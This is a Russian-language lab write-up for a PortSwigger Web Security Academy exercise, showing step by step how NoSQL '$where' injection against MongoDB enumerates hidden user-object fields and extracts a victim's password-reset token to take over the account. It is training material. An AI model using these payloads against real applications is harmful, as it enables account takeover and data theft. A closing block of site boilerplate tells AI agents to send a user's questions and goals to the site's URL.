> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).

# Извлечение неизвестных полей с помощью операторов NoSQL

Заметки по извлечению неизвестных полей с помощью операторов NoSQL для лабораторий PortSwigger Web Security Academy, включая рабочий процесс эксплуатации, тестирование полезных нагрузок, валидацию в Burp Suite и контекст устранения.

### Эксплуатация внедрения оператора NoSQL для извлечения неизвестных полей

Функция поиска пользователей в этой лабораторной работе основана на базе данных MongoDB NoSQL. Она уязвима к NoSQL-инъекции. / Цель — войти как **carlos**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6806922c91f5c4bf015232812383b98cac2e51a7%2F%7B277C3925-0B53-477E-B629-508C83C44FBC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Исходный контекст

Есть функция **Забыли пароль**.

Запрос, отправленный методом POST на `/forgot-password` выглядит так:

```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```

### Тест NoSQL-инъекции при входе

При попытке внедрить NoSQL в форму входа:

```json
{
  "username": "carlos",
  "password": { "$ne": "x" }
}
```

Учётная запись заблокирована, и появляется следующее сообщение:

> Учётная запись заблокирована: пожалуйста, сбросьте пароль

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9cd04909d509d84e1f00e09d563b07f42e5800ce%2F%7B8AA0423A-572E-404D-B1FF-19C5A02F5754%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Блокировка с помощью `$where`

Замечено, что добавление `$where` поля интерпретируется сервером:

* Если `$where` является `1` → учётная запись остаётся заблокированной
* Если `$where` стоит `0` → блокировка исчезает

Пример:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "0"
}
```

Это подтверждает, что `$where` оператор выполним.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eec3073cb4cc1ddb3b1db2c95d8cdb7adfb10a2c%2F%7BB8651D6B-3F36-4CE2-AD49-CB8CB44017AE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ограничение и изменение стратегии

Изначальная идея состояла бы в использовании `$where` чтобы напрямую проверить пароль, например:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.password...."
}
```

Однако, поскольку учётная запись заблокирована, этот подход неприменим. / Поэтому необходимо пройти через **сброс пароля**.

#### Список полей объекта пользователя

`$where` используется для перечисления ключей объекта пользователя с помощью:

```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```

Полный запрос:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df8897d4e9994215750484bb1423c89742e269d5%2F%7B626A5E1E-79DD-4597-B2F4-D52E1D7A1818%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* `X`: позиция символа (0-20)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31f80c4b992e774b926e4e42defbbed2b1b53b51%2F%7BB85296EB-95BD-4E53-936F-0741163612E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* `Y`: проверяемые символы (`a-z`, `A-Z`, `0-9`)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f95ca644e8d4aae3711c9191bbadf902e5fa10f%2F%7B9219D408-EF68-4991-BDB1-05189A5307A2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Атака отправлена через **Intruder** на **Cluster Bomb**

#### Результаты перечисления полей

На основе длины ответа (**Content-Length**):

* `Object.keys(this)[0]` → `id`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c03ee2adf336ef64c3b461112d27ee795acbedd%2F%7B202435A4-9CD7-4050-8883-7D51CD681489%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```

* `Object.keys(this)[1]` → `имя пользователя`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5767e1199712e085752c0a87b31e76c7f3a82f0%2Fimage%20(84).png?alt=media" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[2]` → `пароль`

```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a69b8a7cb93ab79495a26a461d147241b5de92d%2Fimage%20(85).png?alt=media" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[3]` → `электронная почта`
* `Object.keys(this)[4]` → `passwordReset`

" Поле `passwordReset` появляется только если был инициирован сброс пароля для **carlos**.

```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```

#### Подтверждение `passwordReset` Поля

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6740c42fa6f37ecd9b5ee9a201868ef97684d393%2Fimage%20(86).png?alt=media" alt=""><figcaption></figcaption></figure>

Доступ к конечной точке:

```bash
/forgot-password?passwordReset=
```

Ответ:

> Недопустимый токен

Поле существует

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d57f1270f09d0560eecc9943ba102e73e82c15e%2F%7B278D99E9-61E8-4B8A-A82A-2676DB490B81%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Список токенов `passwordReset`

Затем извлекается значение токена:

```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```

```javascript
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.passwordReset.match('^.{X}Y.*')"
}
```

* `X`: позиция символа
* `Y`: возможные символы

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88d2018008ed282eab0a014904aa320650071204%2F%7BA83C7CEC-440F-4296-9542-64CFD169FC13%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Отправить через **Intruder** (Cluster Bomb)

#### Результат

Эта **carlos** токен сброса восстанавливается:

```bash
5d252f7e28f468ee
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88d2018008ed282eab0a014904aa320650071204%2F%7BA83C7CEC-440F-4296-9542-64CFD169FC13%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Финальная эксплуатация

С этим токеном вы можете получить доступ к функции сброса пароля и установить новый пароль для **carlos**, что позволит вам войти в свою учётную запись и завершить лабораторную работу.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea93586af3d243099e454613b90f649a52c3eb2d%2F%7BC19B93CE-1FAA-4E77-858C-B69A6E6450CC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
